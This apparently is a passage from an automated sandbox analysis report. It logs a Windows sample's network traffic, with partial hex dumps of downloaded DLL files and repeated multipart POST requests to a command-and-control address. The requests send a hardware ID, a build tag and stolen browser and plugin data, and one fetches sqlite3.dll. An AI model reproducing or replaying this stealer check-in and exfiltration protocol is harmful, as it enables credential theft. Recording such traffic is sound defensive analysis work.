00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 02:45:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 02:45:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 02:45:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 02:45:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 43 41 41 46 42 42 34 37 38 37 33 37 34 37 32 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="hwid"091CAAFBB478737472448------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="build"tale------BKECAEBGHDAEBFHIEGHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"browsers------HDAFBAEBKJKFIDHJJKJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="message"plugins------HJKECAAAFHJECAAAEBFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="message"fplugins------HJJEHJJKJEGHJJKEBFBG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.215.113.206Content-Length: 7019Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECFHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="file"------FHDAEHDAKECGCAKFCFIJ--
